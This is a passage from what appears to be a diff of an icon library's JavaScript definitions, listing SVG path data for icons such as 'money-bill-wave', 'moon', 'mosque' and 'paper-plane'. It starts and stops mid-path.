7.994 0 0 0-2.22 11.09l8.88 13.31a7.994 7.994 0 0 0 11.09 2.22l.47-.31V288h-16c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8h64c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 192c-53.02 0-96-50.15-96-112 0-61.86 42.98-112 96-112s96 50.14 96 112c0 61.87-43 112-96 112zm272 32h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z" ], + "money-bill-wave": [ 640, 512, [], "f53a", "M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM48 132.22c20.12 5.04 41.12 7.57 62.72 8.93C104.84 170.54 79 192.69 48 192.69v-60.47zm0 285v-47.78c34.37 0 62.18 27.27 63.71 61.4-22.53-1.81-43.59-6.31-63.71-13.62zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 27.78c-17.52-4.39-35.71-6.85-54.32-8.44 5.87-26.08 27.5-45.88 54.32-49.28v57.72zm0-236.11c-30.89-3.91-54.86-29.7-55.81-61.55 19.54 2.17 38.09 6.23 55.81 12.66v48.89z" ], + "money-bill-wave-alt": [ 640, 512, [], "f53b", "M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96z" ], + "money-check": [ 640, 512, [], "f53c", "M0 448c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128H0v320zm448-208c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-32zm0 120c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H456c-4.42 0-8-3.58-8-8v-16zM64 264c0-4.42 3.58-8 8-8h304c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm0 96c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zM624 32H16C7.16 32 0 39.16 0 48v48h640V48c0-8.84-7.16-16-16-16z" ], + "money-check-alt": [ 640, 512, [], "f53d", "M608 32H32C14.33 32 0 46.33 0 64v384c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM176 327.88V344c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V152c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07zM416 312c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm160 0c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h272c4.42 0 8 3.58 8 8v16z" ], + monument: [ 384, 512, [], "f5a6", "M368 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h352c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-78.86-347.26a31.97 31.97 0 0 0-9.21-19.44L203.31 4.69c-6.25-6.25-16.38-6.25-22.63 0l-76.6 76.61a31.97 31.97 0 0 0-9.21 19.44L64 416h256l-30.86-315.26zM240 307.2c0 6.4-6.4 12.8-12.8 12.8h-70.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h70.4c6.4 0 12.8 6.4 12.8 12.8v38.4z" ], + moon: [ 512, 512, [], "f186", "M283.211 512c78.962 0 151.079-35.925 198.857-94.792 7.068-8.708-.639-21.43-11.562-19.35-124.203 23.654-238.262-71.576-238.262-196.954 0-72.222 38.662-138.635 101.498-174.394 9.686-5.512 7.25-20.197-3.756-22.23A258.156 258.156 0 0 0 283.211 0c-141.309 0-256 114.511-256 256 0 141.309 114.511 256 256 256z" ], + "mortar-pestle": [ 512, 512, [], "f5a7", "M501.54 60.91c17.22-17.22 12.51-46.25-9.27-57.14a35.696 35.696 0 0 0-37.37 3.37L251.09 160h151.37l99.08-99.09zM496 192H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c0 80.98 50.2 150.11 121.13 178.32-12.76 16.87-21.72 36.8-24.95 58.69-1.46 9.92 6.04 18.98 16.07 18.98h223.5c10.03 0 17.53-9.06 16.07-18.98-3.22-21.89-12.18-41.82-24.95-58.69C429.8 406.11 480 336.98 480 256h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + mosque: [ 640, 512, [], "f678", "M0 480c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V160H0v320zm579.16-192c17.86-17.39 28.84-37.34 28.84-58.91 0-52.86-41.79-93.79-87.92-122.9-41.94-26.47-80.63-57.77-111.96-96.22L400 0l-8.12 9.97c-31.33 38.45-70.01 69.76-111.96 96.22C233.79 135.3 192 176.23 192 229.09c0 21.57 10.98 41.52 28.84 58.91h358.32zM608 320H192c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h32v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h64v-72c0-48 48-72 48-72s48 24 48 72v72h64v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h32c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM64 0S0 32 0 96v32h128V96c0-64-64-96-64-96z" ], + motorcycle: [ 640, 512, [], "f21c", "M512.9 192c-14.9-.1-29.1 2.3-42.4 6.9L437.6 144H520c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24h-45.3c-6.8 0-13.3 2.9-17.8 7.9l-37.5 41.7-22.8-38C392.2 68.4 384.4 64 376 64h-80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h66.4l19.2 32H227.9c-17.7-23.1-44.9-40-99.9-40H72.5C59 104 47.7 115 48 128.5c.2 13 10.9 23.5 24 23.5h56c24.5 0 38.7 10.9 47.8 24.8l-11.3 20.5c-13-3.9-26.9-5.7-41.3-5.2C55.9 194.5 1.6 249.6 0 317c-1.6 72.1 56.3 131 128 131 59.6 0 109.7-40.8 124-96h84.2c13.7 0 24.6-11.4 24-25.1-2.1-47.1 17.5-93.7 56.2-125l12.5 20.8c-27.6 23.7-45.1 58.9-44.8 98.2.5 69.6 57.2 126.5 126.8 127.1 71.6.7 129.8-57.5 129.2-129.1-.7-69.6-57.6-126.4-127.2-126.9zM128 400c-44.1 0-80-35.9-80-80s35.9-80 80-80c4.2 0 8.4.3 12.5 1L99 316.4c-8.8 16 2.8 35.6 21 35.6h81.3c-12.4 28.2-40.6 48-73.3 48zm463.9-75.6c-2.2 40.6-35 73.4-75.5 75.5-46.1 2.5-84.4-34.3-84.4-79.9 0-21.4 8.4-40.8 22.1-55.1l49.4 82.4c4.5 7.6 14.4 10 22 5.5l13.7-8.2c7.6-4.5 10-14.4 5.5-22l-48.6-80.9c5.2-1.1 10.5-1.6 15.9-1.6 45.6-.1 82.3 38.2 79.9 84.3z" ], + mountain: [ 640, 512, [], "f6fc", "M634.92 462.7l-288-448C341.03 5.54 330.89 0 320 0s-21.03 5.54-26.92 14.7l-288 448a32.001 32.001 0 0 0-1.17 32.64A32.004 32.004 0 0 0 32 512h576c11.71 0 22.48-6.39 28.09-16.67a31.983 31.983 0 0 0-1.17-32.63zM320 91.18L405.39 224H320l-64 64-38.06-38.06L320 91.18z" ], + mouse: [ 384, 512, [], "f8cc", "M0 352a160 160 0 0 0 160 160h64a160 160 0 0 0 160-160V224H0zM176 0h-16A160 160 0 0 0 0 160v32h176zm48 0h-16v192h176v-32A160 160 0 0 0 224 0z" ], + "mouse-pointer": [ 320, 512, [], "f245", "M302.189 329.126H196.105l55.831 135.993c3.889 9.428-.555 19.999-9.444 23.999l-49.165 21.427c-9.165 4-19.443-.571-23.332-9.714l-53.053-129.136-86.664 89.138C18.729 472.71 0 463.554 0 447.977V18.299C0 1.899 19.921-6.096 30.277 5.443l284.412 292.542c11.472 11.179 3.007 31.141-12.5 31.141z" ], + "mug-hot": [ 512, 512, [], "f7b6", "M127.1 146.5c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C111.8 5.9 105 0 96.8 0H80.4C70.6 0 63 8.5 64.1 18c3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zm112 0c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C223.8 5.9 217 0 208.8 0h-16.4c-9.8 0-17.5 8.5-16.3 18 3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zM400 192H32c-17.7 0-32 14.3-32 32v192c0 53 43 96 96 96h192c53 0 96-43 96-96h16c61.8 0 112-50.2 112-112s-50.2-112-112-112zm0 160h-16v-96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48z" ], + music: [ 512, 512, [], "f001", "M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z" ], + "network-wired": [ 640, 512, [], "f6ff", "M640 264v-16c0-8.84-7.16-16-16-16H344v-40h72c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H224c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h72v40H16c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h104v40H64c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h304v40h-56c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h104c8.84 0 16-7.16 16-16zM256 128V64h128v64H256zm-64 320H96v-64h96v64zm352 0h-96v-64h96v64z" ], + neuter: [ 288, 512, [], "f22c", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V468c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V316.4c64.1-14.5 112-71.9 112-140.4zm-144 80c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + newspaper: [ 576, 512, [], "f1ea", "M552 64H88c-13.255 0-24 10.745-24 24v8H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h472c26.51 0 48-21.49 48-48V88c0-13.255-10.745-24-24-24zM56 400a8 8 0 0 1-8-8V144h16v248a8 8 0 0 1-8 8zm236-16H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm-208-96H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm0-96H140c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h360c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12z" ], + "not-equal": [ 448, 512, [], "f53e", "M416 208c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32h-23.88l51.87-66.81c5.37-7.02 4.04-17.06-2.97-22.43L415.61 3.3c-7.02-5.38-17.06-4.04-22.44 2.97L311.09 112H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h204.56l-74.53 96H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h55.49l-51.87 66.81c-5.37 7.01-4.04 17.05 2.97 22.43L64 508.7c7.02 5.38 17.06 4.04 22.43-2.97L168.52 400H416c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32H243.05l74.53-96H416z" ], + "notes-medical": [ 384, 512, [], "f481", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm96 304c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm0-192c0 4.4-3.6 8-8 8H104c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16z" ], + "object-group": [ 512, 512, [], "f247", "M480 128V96h20c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v20H64V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v40c0 6.627 5.373 12 12 12h20v320H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-20h384v20c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-20V128zM96 276V140c0-6.627 5.373-12 12-12h168c6.627 0 12 5.373 12 12v136c0 6.627-5.373 12-12 12H108c-6.627 0-12-5.373-12-12zm320 96c0 6.627-5.373 12-12 12H236c-6.627 0-12-5.373-12-12v-52h72c13.255 0 24-10.745 24-24v-72h84c6.627 0 12 5.373 12 12v136z" ], + "object-ungroup": [ 576, 512, [], "f248", "M64 320v26a6 6 0 0 1-6 6H6a6 6 0 0 1-6-6v-52a6 6 0 0 1 6-6h26V96H6a6 6 0 0 1-6-6V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v26h288V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-26v192h26a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-52a6 6 0 0 1-6-6v-26H64zm480-64v-32h26a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-52a6 6 0 0 0-6 6v26H408v72h8c13.255 0 24 10.745 24 24v64c0 13.255-10.745 24-24 24h-64c-13.255 0-24-10.745-24-24v-8H192v72h-26a6 6 0 0 0-6 6v52a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-26h288v26a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-26V256z" ], + "oil-can": [ 640, 512, [], "f613", "M629.8 160.31L416 224l-50.49-25.24a64.07 64.07 0 0 0-28.62-6.76H280v-48h56c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h56v48h-56L37.72 166.86a31.9 31.9 0 0 0-5.79-.53C14.67 166.33 0 180.36 0 198.34v94.95c0 15.46 11.06 28.72 26.28 31.48L96 337.46V384c0 17.67 14.33 32 32 32h274.63c8.55 0 16.75-3.42 22.76-9.51l212.26-214.75c1.5-1.5 2.34-3.54 2.34-5.66V168c.01-5.31-5.08-9.15-10.19-7.69zM96 288.67l-48-8.73v-62.43l48 8.73v62.43zm453.33 84.66c0 23.56 19.1 42.67 42.67 42.67s42.67-19.1 42.67-42.67S592 288 592 288s-42.67 61.77-42.67 85.33z" ], + om: [ 512, 512, [], "f679", "M360.6 60.94a10.43 10.43 0 0 0 14.76 0l21.57-21.56a10.43 10.43 0 0 0 0-14.76L375.35 3.06c-4.08-4.07-10.68-4.07-14.76 0l-21.57 21.56a10.43 10.43 0 0 0 0 14.76l21.58 21.56zM412.11 192c-26.69 0-51.77 10.39-70.64 29.25l-24.25 24.25c-6.78 6.77-15.78 10.5-25.38 10.5H245c10.54-22.1 14.17-48.11 7.73-75.23-10.1-42.55-46.36-76.11-89.52-83.19-36.15-5.93-70.9 5.04-96.01 28.78-7.36 6.96-6.97 18.85 1.12 24.93l26.15 19.63c5.72 4.3 13.66 4.32 19.2-.21 8.45-6.9 19.02-10.71 30.27-10.71 26.47 0 48.01 21.53 48.01 48s-21.54 48-48.01 48h-31.9c-11.96 0-19.74 12.58-14.39 23.28l16.09 32.17c2.53 5.06 7.6 8.1 13.17 8.55h33.03c35.3 0 64.01 28.7 64.01 64s-28.71 64-64.01 64c-96.02 0-122.35-54.02-145.15-92.03-4.53-7.55-14.77-3.58-14.79 5.22C-.09 416 41.13 512 159.94 512c70.59 0 128.02-57.42 128.02-128 0-23.42-6.78-45.1-17.81-64h21.69c26.69 0 51.77-10.39 70.64-29.25l24.25-24.25c6.78-6.77 15.78-10.5 25.38-10.5 19.78 0 35.88 16.09 35.88 35.88V392c0 13.23-18.77 24-32.01 24-39.4 0-66.67-24.24-81.82-42.89-4.77-5.87-14.2-2.54-14.2 5.02V416s0 64 96.02 64c48.54 0 96.02-39.47 96.02-88V291.88c0-55.08-44.8-99.88-99.89-99.88zm42.18-124.73c-85.55 65.12-169.05 2.75-172.58.05-6.02-4.62-14.44-4.38-20.14.55-5.74 4.92-7.27 13.17-3.66 19.8 1.61 2.95 40.37 72.34 118.8 72.34 79.92 0 98.78-31.36 101.75-37.66 1.02-2.12 1.53-4.47 1.53-6.83V80c0-13.22-15.14-20.69-25.7-12.73z" ], + otter: [ 640, 512, [], "f700", "M608 32h-32l-13.25-13.25A63.97 63.97 0 0 0 517.49 0H497c-11.14 0-22.08 2.91-31.75 8.43L312 96h-56C149.96 96 64 181.96 64 288v1.61c0 32.75-16 62.14-39.56 84.89-18.19 17.58-28.1 43.68-23.19 71.8 6.76 38.8 42.9 65.7 82.28 65.7H192c17.67 0 32-14.33 32-32s-14.33-32-32-32H80c-8.83 0-16-7.17-16-16s7.17-16 16-16h224c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-64l149.49-80.5L448 416h80c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-28.22l-55.11-110.21L521.14 192H544c53.02 0 96-42.98 96-96V64c0-17.67-14.33-32-32-32zm-96 16c8.84 0 16 7.16 16 16s-7.16 16-16 16-16-7.16-16-16 7.16-16 16-16zm32 96h-34.96L407.2 198.84l-13.77-27.55L512 112h77.05c-6.62 18.58-24.22 32-45.05 32z" ], + outdent: [ 448, 512, [], "f03b", "M100.69 363.29c10 10 27.31 2.93 27.31-11.31V160c0-14.32-17.33-21.31-27.31-11.31l-96 96a16 16 0 0 0 0 22.62zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + pager: [ 512, 512, [], "f815", "M448 64H64a64 64 0 0 0-64 64v256a64 64 0 0 0 64 64h384a64 64 0 0 0 64-64V128a64 64 0 0 0-64-64zM160 368H80a16 16 0 0 1-16-16v-16a16 16 0 0 1 16-16h80zm128-16a16 16 0 0 1-16 16h-80v-48h80a16 16 0 0 1 16 16zm160-128a32 32 0 0 1-32 32H96a32 32 0 0 1-32-32v-64a32 32 0 0 1 32-32h320a32 32 0 0 1 32 32z" ], + "paint-brush": [ 512, 512, [], "f1fc", "M167.02 309.34c-40.12 2.58-76.53 17.86-97.19 72.3-2.35 6.21-8 9.98-14.59 9.98-11.11 0-45.46-27.67-55.25-34.35C0 439.62 37.93 512 128 512c75.86 0 128-43.77 128-120.19 0-3.11-.65-6.08-.97-9.13l-88.01-73.34zM457.89 0c-15.16 0-29.37 6.71-40.21 16.45C213.27 199.05 192 203.34 192 257.09c0 13.7 3.25 26.76 8.73 38.7l63.82 53.18c7.21 1.8 14.64 3.03 22.39 3.03 62.11 0 98.11-45.47 211.16-256.46 7.38-14.35 13.9-29.85 13.9-45.99C512 20.64 486 0 457.89 0z" ], + "paint-roller": [ 512, 512, [], "f5aa", "M416 128V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32zm32-64v128c0 17.67-14.33 32-32 32H256c-35.35 0-64 28.65-64 64v32c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32v-32h160c53.02 0 96-42.98 96-96v-64c0-35.35-28.65-64-64-64z" ], + palette: [ 512, 512, [], "f53f", "M204.3 5C104.9 24.4 24.8 104.3 5.2 203.4c-37 187 131.7 326.4 258.8 306.7 41.2-6.4 61.4-54.6 42.5-91.7-23.1-45.4 9.9-98.4 60.9-98.4h79.7c35.8 0 64.8-29.6 64.9-65.3C511.5 97.1 368.1-26.9 204.3 5zM96 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm32-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128-64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + pallet: [ 640, 512, [], "f482", "M144 256h352c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H384v128l-64-32-64 32V0H144c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16zm480 128c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v64H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16h-48v-64h48zm-336 64H128v-64h160v64zm224 0H352v-64h160v64z" ], + "paper-plane": [ 512, 512, [], "f1d8", "M476 3.2L12.5 270.6c-18.1 10.4-15.8 35.6 2.2 43.2L121 358.4l287.3-253.2c5.5-4.9 13.3 2.6 8.6 8.3L176 407v80.5c0 23.6 28.5 32.9 42.5 15.8L282 426l124.6 52.2c14.2 6 30.4-2.9 33-18.2l72-432C515 7.8 493.3-6.8 476 3.2z" ], + paperclip: [ 448, 512, [], "f0c6", "M43.246 466.142c-58.43-60.289-57.341-157.511 1.386-217.581L254.392 34c44.316-45.332 116.351-45.336 160.671 0 43.89 44.894 43.943 117.329 0 162.276L232.214 383.128c-29.855 30.537-78.633 30.111-107.982-.998-28.275-29.97-27.368-77.473 1.452-106.953l143.743-146.835c6.182-6.314 16.312-6.422 22.626-.241l22.861 22.379c6.315 6.182 6.422 16.312.241 22.626L171.427 319.927c-4.932 5.045-5.236 13.428-.648 18.292 4.372 4.634 11.245 4.711 15.688.165l182.849-186.851c19.613-20.062 19.613-52.725-.011-72.798-19.189-19.627-49.957-19.637-69.154 0L90.39 293.295c-34.763 35.56-35.299 93.12-1.191 128.313 34.01 35.093 88.985 35.137 123.058.286l172.06-175.999c6.177-6.319 16.307-6.433 22.626-.256l22.877 22.364c6.319 6.177 6.434 16.307.256 22.626l-172.06 175.998c-59.576 60.938-155.943 60.216-214.77-.485z" ], + "parachute-box": [ 512, 512, [], "f4cd", "M511.9 175c-9.1-75.6-78.4-132.4-158.3-158.7C390 55.7 416 116.9 416 192h28.1L327.5 321.5c-2.5-.6-4.8-1.5-7.5-1.5h-48V192h112C384 76.8 315.1 0 256 0S128 76.8 128 192h112v128h-48c-2.7 0-5 .9-7.5 1.5L67.9 192H96c0-75.1 26-136.3 62.4-175.7C78.5 42.7 9.2 99.5.1 175c-1.1 9.1 6.8 17 16 17h8.7l136.7 151.9c-.7 2.6-1.6 5.2-1.6 8.1v128c0 17.7 14.3 32 32 32h128c17.7 0 32-14.3 32-32V352c0-2.9-.9-5.4-1.6-8.1L487.1 192h8.7c9.3 0 17.2-7.8 16.1-17z" ], + paragraph: [ 448, 512, [], "f1dd", "M448 48v32a16 16 0 0 1-16 16h-48v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V96h-32v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V352h-32a160 160 0 0 1 0-320h240a16 16 0 0 1 16 16z" ], + parking: [ 448, 512, [], "f540", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM240 320h-48v48c0 8.8-7.2 16-16 16h-32c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h96c52.9 0 96 43.1 96 96s-43.1 96-96 96zm0-128h-48v64h48c17.6 0 32-14.4 32-32s-14.4-32-32-32z" ], + passport: [ 448, 512, [], "f5ab", "M129.62 176h39.09c1.49-27.03 6.54-51.35 14.21-70.41-27.71 13.24-48.02 39.19-53.3 70.41zm0 32c5.29 31.22 25.59 57.17 53.3 70.41-7.68-19.06-12.72-43.38-14.21-70.41h-39.09zM224 286.69c7.69-7.45 20.77-34.42 23.43-78.69h-46.87c2.67 44.26 15.75 71.24 23.44 78.69zM200.57 176h46.87c-2.66-44.26-15.74-71.24-23.43-78.69-7.7 7.45-20.78 34.43-23.44 78.69zm64.51 102.41c27.71-13.24 48.02-39.19 53.3-70.41h-39.09c-1.49 27.03-6.53 51.35-14.21 70.41zM416 0H64C28.65 0 0 28.65 0 64v384c0 35.35 28.65 64 64 64h352c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32zm-80 416H112c-8.8 0-16-7.2-16-16s7.2-16 16-16h224c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-112-96c-70.69 0-128-57.31-128-128S153.31 64 224 64s128 57.31 128 128-57.31 128-128 128zm41.08-214.41c7.68 19.06 12.72 43.38 14.21 70.41h39.09c-5.28-31.22-25.59-57.17-53.3-70.41z" ], + pastafarianism: [ 640, 512, [], "f67b", "M624.54 347.67c-32.7-12.52-57.36 4.25-75.37 16.45-17.06 11.53-23.25 14.42-31.41 11.36-8.12-3.09-10.83-9.38-15.89-29.38-3.33-13.15-7.44-29.32-17.95-42.65 2.24-2.91 4.43-5.79 6.38-8.57C500.47 304.45 513.71 312 532 312c33.95 0 50.87-25.78 62.06-42.83 10.59-16.14 15-21.17 21.94-21.17 13.25 0 24-10.75 24-24s-10.75-24-24-24c-33.95 0-50.87 25.78-62.06 42.83-10.6 16.14-15 21.17-21.94 21.17-17.31 0-37.48-61.43-97.26-101.91l17.25-34.5C485.43 125.5 512 97.98 512 